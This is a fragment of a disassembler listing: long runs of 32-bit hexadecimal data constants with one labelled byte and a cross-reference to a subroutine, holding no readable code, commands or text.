		dd 0B00460B6h, 3B434BBFh, 0D464C780h, 9B123E5Eh, 6598B180h
		dd 4144BAA0h, 2B86D00h,	0C135F977h, 0F574B4h, 2F7F43CFh
		dd 36C85272h, 2DB3DF00h, 4992FCF0h, 0BE1102C5h,	81DEAB96h
		dd 9F22E9E0h, 98154D00h, 0D0A3B391h, 9C7A00BEh,	6DC69709h
		dd 0E40267DDh, 0EB9F4F8Fh, 0FE7CD025h, 6B3907E7h, 87844A9Dh
		dd 478184A8h, 1F885AEAh, 0BCFB0768h, 8AE68292h,	73416927h
		dd 310B191h, 7C1EBC9Ch,	39308A06h, 60EA2598h, 0BA0211A6h
		dd 7208C57h, 88275A0h, 9FEB456Ah, 0B66C2980h, 8072328Dh
		dd 430811A9h, 4C788144h, 9E815B49h, 0FF2C2911h,	5027A5h
		dd 9192A0C6h, 70E88h, 85D24449h, 0A686F159h, 15CA2319h
		dd 0C070ACE0h, 6384A096h, 1A40CEFh, 4F10B917h, 230C86E0h
		dd 38F92635h, 0DE4801EDh, 5D5FB7Bh, 8863D992h, 760A960h
		dd 870A4AF8h, 84100CC1h, 3E5F0C1Eh, 4B50CEC0h, 0F083256Fh
		dd 0F5C7C54h, 55336131h, 47A6C85h, 0C0364D14h, 24824646h
		dd 3E68BA26h, 0D8209212h, 1EF3DA3h, 4C5E0ACBh, 98460266h
		dd 44219F08h, 0E8EF0035h, 93C29B1Fh, 3A0A9462h,	0EC71EA09h
		dd 86728A80h, 1DDD6ACDh, 739EF3Eh, 0F0D5B94Dh, 997DFD9Ah
		dd 1F15D606h, 0CC87411h, 9681ED2Ch, 570183F0h, 4B39F8A1h
		dd 20204940h, 340B07Dh,	3ABA2731h, 6803AD8Dh, 93B52D0Bh
		dd 19FE88B3h, 0A0894812h, 0CFDFDD00h, 3135015Bh, 7B20AB60h
		dd 29587577h, 0C2203B37h, 3330DAFDh, 818D0041h,	5963D97Eh
		dd 530C291h, 0EDFB3095h, 0A02755BAh, 0EF3A30FAh, 460AC211h
		dd 43829488h, 0E36EEF32h, 11FFA077h, 8BC4887h, 4005853h
		dd 0DB0B4B19h, 0C0791A5Bh, 2A5C052Ch, 0A9A08038h, 0C4FC5285h
		dd 0BDD5302Dh, 9653890h, 0A512D800h, 0DB9E040h,	14D7696h
		dd 0FF7544AFh, 83BE6339h, 0B13DDD68h, 7C38269Eh, 54DC2211h
		dd 2828CEAh, 681BAF8h, 0DC449156h, 0E10031ECh, 283CE4C2h
		dd 190FD984h, 48B8792Dh, 4D26306Ah, 0D8DDD8A0h,	0C9057B3Ah
		dd 250906D0h, 328991Dh,	2764528Bh, 3BA012AFh, 9490A2E2h
		dd 0E701F208h, 0A46A009Ch, 365F77DAh, 52DD3A04h, 9CC1F96Eh
		dd 1887D925h, 89D1F521h, 0F7821803h, 244057C2h,	0A1C6707h
		dd 11F0A9FFh, 220F087Ah, 674C76E9h, 0D85C2B30h,	0CFEF3901h
		dd 9A183E0Ah, 314088h, 0A21830EFh, 8D585A6Ch, 41642930h
		dd 605B39F0h, 0B71CF847h, 80F2C571h, 0D830665Eh, 1851CAE9h
		dd 197C8162h, 5C0097FEh, 3B9522A3h, 0C1F57Eh, 9D27C2B3h
		dd 28BFC919h, 7B0EA90Ah, 0A00798B2h, 86293A58h,	18598B88h
		dd 5167308Dh
		db 5, 8, 0
byte_5346C7	db 0C9h			; DATA XREF: sub_58A891:loc_59E061o
		dd 86A72627h, 78F4EB13h, 537A0634h, 86AAB30h, 938FBC80h
		dd 82FEA818h, 483A59A1h, 0EACA5856h, 0BE9C40DCh, 9103AA40h
		dd 28CC399h, 2AD100A8h,	0DFB6C18Dh, 0F13B263h, 80405CC5h
		dd 5F50A7ECh, 7E0A0622h, 6993924Ch, 6CCED81Eh, 0F1491D1Dh
		dd 2C8500FEh, 4365C04h,	80945AB7h, 8D1C9858h, 0A441285Fh
		dd 68B2FCCCh, 402706F0h, 9844EBAEh, 30B900BAh, 5E4ADE95h
		dd 6D1C9994h, 0BFC02BE1h, 450585Bh, 97B40202h, 9CEA130Ch
		dd 2F6F3E21h, 22C6E4h, 0D678ED19h, 0B64453BDh, 0F800F4FEh
		dd 58FD2643h, 0A26631C8h, 519800A4h, 0DD88EACAh, 91E040A9h
		dd 232F026h, 4D666000h,	0C31D648Ah, 22389027h, 0FB007C86h
		dd 0DAF2F0E6h, 0B13214h, 85B3288Bh, 0DC6AA446h,	0A0231502h
		dd 0A080FDA8h, 29D3089Ch, 36A70F56h, 9E3DA7Dh, 81F4C91Dh
		dd 0D48011A8h, 0AF6051C2h, 29648311h, 676F1CB0h, 1F088206h
		dd 0D0845A71h, 244C8A81h, 12070CC9h, 0E03D06EBh, 0C0F82421h
		dd 58380C5Bh, 0FC319591h, 0F87EF600h, 9DEF84B8h, 6C090097h
		dd 0EB088746h, 625082FFh, 38415194h, 32CB8A8h, 8DCE1A65h
		dd 31000B6Dh, 211E231Bh, 12675182h, 4CEF36h, 0BC150FA0h
		dd 0B316B1D6h, 2820EBCBh, 68CA0h, 811D5C26h, 7B9334Ah
		dd 4FC64000h, 397E51CFh, 146201E0h, 636DEABCh, 30F0755Bh
		dd 88884DCh, 73A52CF7h,	0E40240A4h, 1002C569h, 1FD2740h
		dd 43286193h, 44171470h, 31118382h, 27506780h, 0F15701C1h
		dd 0FAADA65Eh, 2089846h, 503821h, 0AA75A1C1h, 62862EA2h
		dd 9325191Eh, 0FD24067Ch, 0F868A3F1h, 50CCB80Bh, 0E992DC90h
		dd 2D21A980h, 0B984E5FFh, 0D8EC48h, 220E4E53h, 903AD5Eh
		dd 0FF50651Bh, 0B8204B89h, 0EAE11232h, 6626A109h, 0FFA890A7h
		dd 0ACEA8391h, 0A8A968E4h, 81A42059h, 3020A941h, 0B4DA1h
		dd 0BC73EB15h, 700353Bh, 8FAAB34Eh, 817E2FDEh, 9F5BB901h
		dd 5A4B3117h, 101CFC40h, 36A91395h, 40405D21h, 5EAADAC3h
		dd 0CC5C02C2h, 0ADD1139Bh, 0A0F6C00Ch, 95D70BFAh, 0A1057AF3h
		dd 23B43AAFh, 5F4D0976h, 12E35803h, 20D5F2B1h, 0D9C18E01h
		dd 10D5B27h, 1535B07Bh,	0A7E8CF00h, 993A647Dh, 0AC3D49F8h
		dd 4D184C01h, 0CD25DA8Dh, 8C6C34E5h, 9CB2012Ah,	0CD750290h
		dd 0B53DCA0h, 0EC479424h, 24606216h, 21CDEF3Fh,	0E0CE6E0Ah
		dd 39A1EF37h, 7CB90448h, 222B8D54h, 0A26FE1F2h,	0C804D844h
		dd 78C8FFB0h, 8DD1C3AFh, 3138752Ch, 0AE59E092h,	7E2B3A8Eh
		dd 45C90095h, 0F4F0AB64h, 0C8137A79h, 8015D92h,	5788AD49h
		dd 7D1BC820h, 8FEA2619h, 27DA80A4h, 81FF8A42h, 6448A4B2h
		dd 0FB2530h, 0FD213A5Ch, 80A751C5h, 603D07D0h, 106C2869h
		dd 0DCAC3283h, 5011C1E2h, 778846F1h, 0C1533B80h, 5D39F10Eh
		dd 6A017C43h, 3F40BE9h,	0E5F04880h, 0DAE662B0h,	0BACA1700h
		dd 23AD7491h, 39E800B5h, 91C8DB7h, 201CB35h, 0A8844D86h
		dd 2420BA5Dh, 0C1F68C34h, 76F15A11h, 25807588h,	586AC155h
		dd 21320FE0h, 0E899C9E5h, 194765Dh, 1A15CCFAh, 7C768448h
		dd 0D7365204h, 4510224Eh, 6001E464h, 0C84DA22h,	0DFED440Ah
		dd 0B66089D8h, 1963CB60h, 90F7005h, 6DB92736h, 0EC024029h
		dd 24006A79h, 0D38771EDh, 4F940FB8h, 5C40E109h,	0EC30FF0Eh
		dd 8D26282Ah, 18746BB1h, 99E21887h, 79179090h, 0B8710F9h
		dd 1570C1CCh, 815F55F7h, 0FFB5BA69h, 0DC290A2Dh, 0A34209F8h
		dd 0A98E7511h, 461A2008h, 3D107EDAh, 0F00FA679h, 39060BCBh
		dd 0C24C119Ah, 0EDEC5495h, 6F51281Eh, 8FF65381h, 0A4FF1AC7h
		dd 0F5D5B890h, 6DF60F9h, 0FB1C94E6h, 0B04C2C02h, 0E06DB727h
		dd 0A89091C8h, 12B442A0h, 0A3EE8Bh, 8D65AD9Dh, 0B60E4B88h
		dd 23754CE9h, 9AF95AC2h, 28107443h, 9984FD9Dh, 0C478D9E0h
		dd 0E7CC00BCh, 150BBAFFh, 40929FF6h, 7050C700h,	2AA19763h
		dd 0E490ABA5h, 0B8283AC0h, 0DC081E9Fh, 9E3607F9h, 0A0899B8Ah
		dd 31193019h, 0BB84052h, 0EA38F8B0h, 0B400C286h, 7919B3A4h
		dd 4A0057DAh, 0F1EC29FFh, 1ECEA542h, 411B3EC9h,	78C3098h
		dd 24A05091h, 57E5F5A8h, 0D6370098h, 3D00D410h,	4C3B128Ch
		dd 0F4907F7h, 34CDF064h, 1B0E67C3h, 21EB8903h, 0DDFFABh
		dd 25EDEE1Ah, 790D676Dh, 6E00D87Dh, 4EC1805Ah, 169E972h
		dd 1145C419h, 0C574302Fh, 64EE4021h, 0AF0C117h,	0E9C71D07h
		dd 76401659h, 0F01CF705h, 301E0370h, 3AF30C5Ah,	214E4087h
		dd 2D030301h, 22737A39h, 18078872h, 7DE01Eh, 3463C13h
		dd 0D47C720h, 0B3D170Ah, 95503898h, 0F134F00Eh,	181895D2h
		dd 83608A0h, 0B0C02DF0h, 45CBC65Fh, 72150069h, 0C1190E79h
		dd 4E006AA0h, 2D094722h, 0F06C641Dh, 7510227h, 98AB2BC2h
		dd 17F96881h, 0F722E165h, 0E2983941h, 4B1904BEh, 6010A323h
		dd 34F7DD4h, 0E7BBA0E6h, 6AC0F7FAh, 0C3902B79h,	31ECFD03h
		dd 69F0122h, 0E0996930h, 3803194Dh, 9780A5B0h, 0E81103FEh
		dd 54DF4E06h, 0E3E0AA83h, 0F4504968h, 3205EA2Ch, 0A0F860B3h
		dd 4CA50C60h, 0A78C85E6h, 188D3079h, 59ED54D9h,	9D61B327h
		dd 236C2279h, 40BD5A71h, 0E8E8CA19h, 0A94098F2h, 54661459h
		dd 28FE786Ch, 4358D538h, 1621BF2Eh, 0EFC390DFh,	807573C8h
		dd 6EBF1CE7h, 9809E3A3h, 2FEEE639h, 6F3B43CCh, 0CD280312h
		dd 4D23AEA1h, 40DB57A1h, 555D4E0Ch, 0E4A549h, 4913EB21h
		dd 0EE131E8h, 61B76816h, 18B1D83h, 0BA721904h, 0FC90351Ch
		dd 488FB5h, 566A7FB9h, 0D6EB22DDh, 0AFCDD90Ch, 13E91949h
		dd 5F59B2B5h, 583C9414h, 188D1902h, 649D9D60h, 1277E08h
		dd 0E7B77817h, 88C54E6h, 0B84879BCh, 16865710h,	0CE0C8073h
		dd 19F9246Dh, 0DF322906h, 0E06894F8h, 4980F13h,	41F42F5Ch
		dd 0FEA38099h, 23304006h, 658BC14Ch, 8CEB5285h,	0E48D3A22h
		dd 0AA12F41h, 8B913820h, 32E99821h, 83139090h, 1868044Fh
		dd 428AD449h, 99BB9C0Fh, 0E08C7988h, 0FE58E938h, 2922FD40h
		dd 3194D2EAh, 509E5440h, 7633DBE0h, 0A4910C91h,	9A80A52Bh
		dd 0C3099F5h, 8CA057F7h, 0D0588D7Bh, 0D52BAA04h, 0E0221888h
		dd 0F4A07214h, 6D884EDDh, 0A5E94404h, 0D7E7E014h, 1CE104C8h
		dd 288C02A3h, 80148AEDh, 0C99FE68h, 8046F0C2h, 2EDD088Ch
		dd 0F60C99EBh, 0A8940AEBh, 0C84CD510h, 4580A15Eh, 0CA05149h
		dd 81419B84h, 2316D3E0h, 8F17FC9Ch, 920DE151h, 0A07C4EB1h
		dd 0EE89854Ch, 0BA1404D8h, 6BD8224Ah, 1D977410h, 0F25061D5h
		dd 590115FBh, 5DB2A929h, 552951BFh, 0C48137A8h,	71B4C883h
		dd 55D8E452h, 584DF230h, 494C2595h, 1F23AA2Ch, 0BF29115Fh
		dd 4E4700Fh, 7A6710D9h,	48F5FDA0h, 0E01F78CAh, 0AB702247h
		dd 8ADC8482h, 83231341h, 0FC188071h, 589BF4CAh,	3770C7E2h
		dd 20BFC87Fh, 929C824Bh, 33C30A8h, 0D72A2350h, 3CA3E8C8h
		dd 0C6A88582h, 0D8AA3CDAh, 0D8A23C39h, 388FD8D4h, 80244C20h
		dd 55811C36h, 7D02372Ch, 5C3ED02Dh, 0C37E9A07h,	13008EC5h
		dd 59980EC1h, 8F5AC43Ah, 6A47C72Dh, 2511418h, 0C30D3EE0h
		dd 9013130h, 7C5AC1DFh,	16800713h, 0E7D523Dh, 4E74C619h
		dd 476833Dh, 9006361Ch,	4F46CB12h, 19C0E918h, 0D02DE135h
		dd 471155C7h, 311A3345h, 37C27FA0h, 3E784661h, 3186015Ah
		dd 5931C30Ch, 4DF33777h, 10220Ch, 74CA2D55h, 39C2157Dh
		dd 88D00947h, 251C9C0Ch
		dd 2060D012h, 7D42FD31h, 3C905822h, 68566724h, 0E2319B18h
		dd 90F77FB3h, 1250078h,	3F1542D3h, 604021Fh, 58053091h
		dd 0F80F7702h, 51E8C448h, 49EBE0A8h, 906FA300h,	0B5B72DCFh
		dd 7180E1B3h, 0D8BE1925h, 9740545Dh, 91B2CEAh, 61658804h
		dd 0AAF2F104h, 99B8B091h, 94C58001h, 221818A1h,	2DCE024Dh
		dd 64B3AA49h, 0AD803483h, 976D3106h, 6318EA46h,	0D4E759F3h
		dd 4CFB44C4h, 1208830Dh, 0C306B840h, 59693A29h,	59A3B866h
		dd 81CB837Bh, 4BC81096h, 0CF58A12Eh, 83275182h,	3860F609h
		dd 9E60B44Ah, 0D8D7D620h, 0F0E65941h, 0BBD0CC28h, 23D0A098h
		dd 0D90102A3h, 0F9B5F7BBh, 9781308Ch, 8B229969h, 3F549082h
		dd 744AADCAh, 0F76CC1A8h, 4FDC430Ah, 0DD8DF106h, 32313B04h
		dd 4DD9A280h, 0E40D4CA9h, 0C01C29B1h, 0A4CBB3EDh, 83C0B1EBh
		dd 58D36DA1h, 0FE963116h, 4C615C4Ah, 4A581995h,	78C02C64h
		dd 867F40A0h, 832B160Ah, 6842A478h, 5792159Fh, 0B8BD746Dh
		dd 0F0648521h, 10172222h, 0AB90C434h, 0FED36C60h, 0A0A28A1h
		dd 0C21325E2h, 70881FE9h, 82F5147h, 0F1EA439Ah,	210A4C94h
		dd 50821411h, 0AC42B4F8h, 0EA45C388h, 0F410283Eh, 11CCA243h
		dd 14841AD2h, 84BB284Ah, 4A17A46h, 4C8018BCh, 21925C9Eh
		dd 146BB26Ch, 60E78C88h, 7816318Ch, 21C16187h, 6B86FBD9h
		dd 144061B5h, 216F7484h, 6F7209F8h, 5406B119h, 55104C90h
		dd 78C994ABh, 6AA0242Ch, 0A9205942h, 90EB9CE1h,	0B2145E10h
		dd 0E6C44C13h, 6E98CCE0h, 0D311A681h, 97698A4Fh, 0EEC34865h
		dd 0EC4022E3h, 0B4128EFCh, 0E844CBF7h, 0DC8CA180h, 0C3A8A4FCh
		dd 0D016D341h, 35122178h, 0A43DBBB2h, 0E06E3800h, 0D7622097h
		dd 7B967101h, 0C5A3C18h, 584735F8h, 490EA807h, 961C0Ah
		dd 437C1DE4h, 58011210h, 392F67ECh, 37F0B874h, 6E030B47h
		dd 0EC030136h, 17804512h, 0D1F94931h, 1128B03Eh, 0F836190Bh
		dd 0CB133B7Fh, 76E0197h, 13120304h, 0D3C31777h,	0C3E884E5h
		dd 43C40EF0h, 0EA083011h, 47C8858h, 0CE09DCD7h,	130E7Ah
		dd 34580DB4h, 187C5251h, 709E83C3h, 6033104Ah, 0C9B080A2h
		dd 20FC40F5h, 106CB440h, 7C294F23h, 9C4DDEB8h, 0EB27097Ch
		dd 1124C0DBh, 0BFEEEEAh, 975504DFh, 48211400h, 0CA4C2971h
		dd 0E4D022F0h, 9DBA3A9Bh, 66452580h, 0A4D38CD1h, 5F5C5573h
		dd 16590068h, 8A2A0B6Eh, 0E7041873h, 0B327186Ah, 70C09EF0h
		dd 832AF96Dh, 3881C789h, 0E9CE06E9h, 0F60141Bh,	3F01C308h
		dd 0C0622979h, 7C93F06Fh, 0BC2000EFh, 38FC23Fh,	5BFBDB6Dh
		dd 0DFBB1001h, 6BA28608h, 0CA216882h, 780250F9h, 0D855036Dh
		dd 0ACBEF82Ch, 72450D62h, 0ECBA20F4h, 50199C83h, 11780815h
		dd 2BA5D448h, 828CAAACh, 8E12AF85h, 806C613Ch, 647ED717h
		dd 0F8A896E0h, 56011A4Eh, 0E1EB38D8h, 7C794D83h, 0AE81A107h
		dd 6ADDE00Dh, 99F8E224h, 489C89CAh, 24733E3Ch, 58E428D0h
		dd 0C8F3648Ah, 69AA090Bh, 829C00A8h, 0BF2C59h, 0E7AD6186h
		dd 701166Fh, 8B121D3Eh,	87C5190Eh, 76871BFFh, 0C078194Bh
		dd 2C1C5060h, 3E540B37h, 0F95D4907h, 0E0044411h, 3B0A4A7Ch
		dd 44BCEF5Fh, 0F617760h, 0C0B61DFEh, 4B79431h, 0D32183C3h
		dd 0C9AB0E2h, 176E0800h, 14F901C1h, 0F3647461h,	90600849h
		dd 5C88AC66h, 0AC2980CEh, 14CD1A0h, 28024FD8h, 4C1A1099h
		dd 9B89DC08h, 30B6F412h, 50594467h, 5E51104Ah, 0EE273212h
		dd 0CF08C888h, 70203E88h, 4D01D820h, 0ABE9CA8h,	0C51D8D5h
		dd 0B26E5F42h, 6450008Ch, 0D2951D0Dh, 60AC9328h, 44610922h
		dd 64896766h, 6A246512h, 58916B48h, 5E445922h, 125C895Fh
		dd 4862245Dh, 22509163h, 7567C51h, 672226A0h, 71143169h
		dd 4DF4485Ch, 8499B8CAh, 44B6559h, 8A92EACh, 9BC40B0h
		dd 72073141h, 224F9FCCh, 0E3C0ADC7h, 0E59BE8h, 30994205h
		dd 0C7415A73h, 9F3C5CE8h, 3E543ACFh, 646C3CB7h,	0D7004440h
		dd 0C34EA242h, 0F05E680h, 731598E2h, 0A6510B04h, 3FF4BF48h
		dd 32ACFA04h, 70889895h, 7A1004FEh, 5F1A206Ch, 0AE386914h
		dd 30131202h, 4B206879h, 0FF6731C0h, 414D0991h,	0FA040B18h
		dd 9619E0AEh, 9056000Fh, 0A5E23134h, 10A0E753h,	38A5DCD1h
		dd 1B25D70h, 0A78E4D17h, 0F03A1A57h, 18C09C44h,	0ECCDB18Fh
		dd 0C39B05EDh, 0FA36C56h, 0C09FB51Ch, 94A53123h, 28A432B8h
		dd 0E4A7A45Eh, 9598293Ch, 3680415Eh, 505931C0h,	7AA7EC9h
		dd 0A121BCAFh, 29A8F6D3h, 0C9F4500h, 2FCF01BBh,	8FEE0359h
		dd 0D1C08E22h, 0E9E168D0h, 1048D260h, 1843D7A9h, 0E0B26E87h
		dd 250013F5h, 7B24D931h, 0E3A33Dh, 4F818E1Bh, 68C4C6EBh
		dd 862EED1Dh, 0A9718800h, 40967E9Dh, 87034E63h,	0E214BEF5h
		dd 0B0F9084h, 5FA40380h, 2EDF730Ch, 546F1CC0h, 3C5858DFh
		dd 1DD7D1h, 2FDEDF2h, 10FB66E8h, 0BC4B8B00h, 496E76A8h
		dd 30875CEh, 0DA45B2CFh, 33D86B95h, 0F8035E27h,	1FC4FEA0h
		dd 0E2DDB0BAh, 59376083h, 1D91B3C1h, 46791100h,	39BDCF0Dh
		dd 3D5733Eh, 5AE4FD68h,	0A5E19DCAh, 0C4198F6Dh,	50E7E566h
		dd 1F9C00EBh, 4CEAFCB4h, 1967A800h, 0D53BC548h,	4E070306h
		dd 0D4F1F9D0h, 7E08CCC0h, 3338E300h, 1A89DF94h,	1740009Bh
		dd 88BC9F2Dh, 0BF003DC7h, 35922714h, 7A83319h, 9F216F48h
		dd 0C0125789h, 4D303AE9h, 42013474h, 713EF91h, 0E7D3DB7Eh
		dd 2F24E8B0h, 0BF40C3ACh, 3BE04A93h, 167A4333h,	36F840A4h
		dd 2931AC1Fh, 0F4C93BC0h, 78359A32h, 230A624h, 6EBD3DC4h
		dd 1C9B9F31h, 20E2E8ABh, 0A9024800h, 0E8247B40h, 5060A642h
		dd 0AD7E8CCEh, 366DE004h, 88C3E99Fh, 0A02EFFEDh, 0AC49BFA3h
		dd 0A8360018h, 0AD3A1735h, 0F305E646h, 3130BED4h, 3A432C70h
		dd 39C4A033h, 0C9E802F1h, 0EDD4181Ch, 194838B0h, 1C834A00h
		dd 2A439A0Dh, 0AEF2E827h, 1408E14h, 0FA1CF27Eh,	0F86CDA4Ah
		dd 18E8E998h, 0F8BCA928h, 31BF9402h, 88C9D202h,	5C550450h
		dd 4D1F1903h, 0F01AF3E5h, 0F810CDE2h, 18390E75h, 308041ADh
		dd 0F1FABD9Fh, 3A354A13h, 311E005Dh, 59027413h,	491DBEDFh
		dd 0A1F82698h, 1BE41E88h, 0C3601C42h, 183ABC9Dh, 0EC492802h
		dd 6639F2ADh, 1C6CA020h, 31A81220h, 89EC1F26h, 7418351Dh
		dd 565FAFFh, 6010C491h,	0EDF8AF04h, 308E48h, 0E4244394h
		dd 0B215B94Fh, 31E82490h, 90806440h, 36142E58h,	54B048E8h
		dd 1829D409h, 39D08128h, 6BE0DA33h, 40956527h, 148FC03Dh
		dd 360092E4h, 40DE3017h, 78D8436Dh, 0FE8C9031h,	26758Bh
		dd 933A60BCh, 9B3625BFh, 5FC4A4Ch, 34E9BED1h, 2F6CE080h
		dd 31BF7892h, 32609630h, 80AC2193h, 3B6F4558h, 61242E9Fh
		dd 0BBE8402Ch, 23A3F3AFh, 2906C878h, 2D6E31A9h,	0E46D3E30h
		dd 0A19FF174h, 0B901BE6Fh, 0BC91353Bh, 63D4D528h, 0EA044318h
		dd 0A9F828A5h, 1714BE3Ch, 0D43042DEh, 9046ACFAh, 1E609BDCh
		dd 0E837002Fh, 0BEDE3361h, 0B8362424h, 261838E9h, 0F09C48BCh
		dd 7E722E3Ch, 4892766Eh, 4007E86Dh, 0ECA326E8h,	4A2CA930h
		dd 1E3C7C60h, 3B1E3638h, 809727C4h, 95AFC08Fh, 0DE0BEBF8h
		dd 0C42E2113h, 6F3B94A0h, 0E4B39F3Ah, 0B1EEDE89h, 9860980Ch
		dd 0B0A87ABFh, 909F7EDCh, 0F0EFE8D8h, 20936943h, 1C07C4A9h
		dd 0BE09FCDEh, 52C46E58h, 0DC1693E4h, 0C0412013h, 306F1D70h
		dd 261F2070h, 1B10AF35h
		dd 0A9E36933h, 4528D7C7h, 6D20C8BFh, 0D22C3152h, 80303C1Fh
		dd 4C174AADh, 3F303436h, 2DE9BC58h, 39BDA909h, 0FADC4143h
		dd 181A8094h, 0A15004D2h, 0FF38DA93h, 0F8EA0491h, 2EED054Ah
		dd 0B4BF4918h, 42102F84h, 75F13AA0h, 8B184E39h,	4AC820E6h
		dd 2D9D4DF3h, 501F2440h, 19344D40h, 4AAF162Ch, 40D80514h
		dd 6F64D018h, 3B2A9F28h, 0F8B64013h, 0E4835068h, 0A1CFD93Bh
		dd 0F5DBBF3Fh, 2C2520C0h, 13423E93h, 24469F01h,	0D0EF9B36h
		dd 405CA92Fh, 182D9D78h, 1F5CED4h, 6ED59232h, 0D0BC9142h
		dd 3578973Ah, 8C4C302Eh, 0EC9B2F02h, 8890E06Ch,	7C0F7418h
		dd 50C082D4h, 316390B9h, 8B303421h, 0A929DBA8h,	503D4393h
		dd 0C8B01325h, 0AE611649h, 0DC3D1168h, 0A19BE070h, 344B3680h
		dd 0EC5802B2h, 5074305Fh, 9A82342Fh, 90FB3943h,	409B0C82h
		dd 2EF08014h, 2E3317F7h, 0FCF329h, 0A1E43A43h, 21C36F36h
		dd 97ACBC13h, 31922170h, 0DE3A0D6Dh, 68906045h,	49C4C1E0h
		dd 9AE614B9h, 0E7109738h, 0BC9BC019h, 9F741125h, 9D2F2718h
		dd 744E0328h, 0A80F24D0h, 0DDC201Ch, 9A2F604Ah,	0E0A6D120h
		dd 9D7C273Ah, 944E6F7Ah, 0E071B817h, 0C441897Eh, 10A2293Dh
		dd 9CDEF68Ch, 319CC0F8h, 0D9F8206Eh, 88CF35F6h,	40DC5439h
		dd 42483DA4h, 6C40675Ch, 0C1BD3883h, 4319521h, 40E24EE1h
		dd 0A35ADA8h, 0EF77CE2Ch, 0F09215B0h, 6E05DE39h, 0F38EA932h
		dd 0EED41EDCh, 5ADE3B0Eh, 2FC82118h, 58552EADh,	59A2DC32h
		dd 0A8303060h, 0D4B42C41h, 3438E860h, 5344909Ah, 644AF427h
		dd 0AFF0F464h, 309C2090h, 4C07171Fh, 8C2F3A30h,	2837E8E9h
		dd 4CF029E8h, 185C2040h, 0DF17EABFh, 4B64046Dh,	0F2DCC017h
		dd 94072F05h, 0BC4A4835h, 161083AEh, 2E310015h,	9041811Fh
		dd 0A20EE0CDh, 8CE3F44Eh, 0B789212Bh, 960092F8h, 5E86F77Ch
		dd 3DFD4BB4h, 7701C610h, 72275B71h, 6D188359h, 0E093D60Ch
		dd 30D50997h, 0DC491122h, 4D0052E7h, 99C98732h,	3D37B4Fh
		dd 0C4B458D2h, 8BD811AFh, 20C07131h, 17DF4A7Eh,	9960C4Dh
		dd 0F3B1E4FCh, 0DD849400h, 6B0B11CBh, 99E268h, 106A79C9h
		dd 0CE0CFD1Ch, 4820EC60h, 53DF8131h, 5FC22019h,	16189873h
		dd 86B1C01Bh, 94A72FFFh, 9C01BD7Ah, 654A4F97h, 7040E83Ch
		dd 5080F7EFh, 1491848Ch, 908B875Ch, 75B85503h, 1106E37Bh
		dd 0E414654Dh, 23CE1528h, 8D8854CFh, 0BB8490Eh,	0A05C2CB7h
		dd 70695632h, 7B9E8B88h, 0ACF700E0h, 11B3A64Ah,	4B039DBDh
		dd 109002E1h, 80D9001Ah, 49D1F317h, 6118D57Ah, 0E8781E5Eh
		dd 0CA477A8Dh, 40841349h, 8346534Eh, 28160630h,	0A100A4Fh
		dd 413C9DBBh, 0FC10DC6Ch, 98FC9872h, 3700AA46h,	6F7B5FA5h
		dd 0CE06907Fh, 0CFA3AC07h, 0E0DE0030h, 0DDF31F09h, 0FB33C0D4h
		dd 8008D5h, 9D83B21h, 8466F761h, 62CC8604h, 0A490D7EEh
		dd 4B382Eh, 0DA0D3985h,	0B4CEC81h, 8F89A103h, 7C7829Bh
		dd 16442828h, 455B0159h, 0FE5C211Dh, 0F5490C40h, 4821AC3Bh
		dd 0F0678214h, 951C42D7h, 0D1D9907Ch, 0A1E28480h, 0C71C6264h
		dd 0B4620105h, 64803A1Ah, 0D66332BFh, 0B848F603h, 0D20B19h
		dd 5C0FE8F9h, 11779042h, 8EE77B12h, 4F9D6821h, 8F8BDF6h
		dd 9CC07085h, 75B8EF13h, 0FDA830F1h, 0D1840140h, 0D944AC14h
		dd 49960108h, 4EFE109Fh, 0CBE11833h, 3C9E1F11h,	0B048E042h
		dd 708928Ch, 0CA65217Bh, 0CD195045h, 0AB00BC4Eh, 0B9D7CD7h
		dd 0E649E667h, 148000ACh, 0AD121B15h, 0BA3ACF1Ch, 0D2A200C1h
		dd 6E623BE6h, 7D26064Ch, 85E43D6h, 8D21DC67h, 5D0F6290h
		dd 0BF912689h, 509606C8h, 0C30021D1h, 13D4589Dh, 3F1F8315h
		dd 0D683EFDCh, 846C9F10h, 0BBD3780Ch, 1C631D2h,	5D740847h
		dd 0EDD5EB97h, 0B384E099h, 8081633Dh, 0C3DD6123h, 31C68CAEh
		dd 4E25C8Bh, 0CDE130F7h, 84D2FF0Eh, 0A132A0E3h,	0D1212F60h
		dd 9D1FA159h, 0C2B68391h, 830DD99h, 0D35A2101h,	9E5F0011h
		dd 5D79CAD6h, 0C4305714h, 1CACB0E7h, 48CACD2h, 4C6B6244h
		dd 27E7625Eh, 2062D086h, 0F207FEDCh, 0BEBAC635h, 6B3E8780h
		dd 1CBF0381h, 4AC73951h, 80C6D199h, 0DF9CB238h,	0E0931BCAh
		dd 8353319Eh, 80C7A508h, 0DF959020h, 30925E82h,	4A0190Eh
		dd 0BB05D651h, 0F4071FD3h, 0FD658400h, 0B50A3h,	609F34ADh
		dd 15208CC3h, 41F7E0F9h, 586EC60Ah, 6900C0AFh, 8F9A6B96h
		dd 1B50141Fh, 6388A0EBh, 9C11C8C0h, 80D54391h, 0D311D059h
		dd 86950336h, 9F3834A5h, 0FB45B907h, 0E97037B8h, 2E02F1h
		dd 0C0762882h, 53BEC9C5h, 0A8961501h, 8E075018h, 9AB4808Ch
		dd 35EE1C58h, 1000D672h, 268DCB57h, 6B84CCCh, 6F5014CAh
		dd 5F4830F0h, 0B4960C23h, 0F82399Dh, 1842026Ah,	2120E363h
		dd 218C0930h, 262E2h, 0B8A67AD8h, 2C6965E4h, 2BD10B60h
		dd 70594D3Ch, 2448760Ah, 0FF82D1h, 33462502h, 3B04A826h
		dd 0E112CEFh, 30D09C82h, 6D106246h, 90E02E4Ch, 0E00624Eh
		dd 0AB7C19D7h, 3991DE50h, 1B12140Dh, 46085DD4h,	0E080BB08h
		dd 0DC2870F6h, 831CF0DAh, 1870F360h, 40D31C95h,	7FF81979h
		dd 51319260h, 0F48F4BCCh, 82F4A282h, 3053C18h, 0AAA797B0h
		dd 0C15860A0h, 0D107FE9Dh, 0B34474C3h, 0B1AEBF80h, 1BE80A84h
		dd 844C1C0Dh, 297F1F58h, 6CB0204Ah, 12FCB1CEh, 0D8205F00h
		dd 5C8EED47h, 0BAC90AC6h, 0C0F09FD2h, 1847026Fh, 0DD803E43h
		dd 76390267h, 0D30C310Fh, 9F4BE1FEh, 88408174h,	4CE00FF3h
		dd 0A0A748FDh, 0C86DE272h, 3A108362h, 996448A0h, 81FC40h
		dd 8E2445A4h, 0B2B02DD3h, 94958200h, 3D4FBA29h,	13A7DC0h
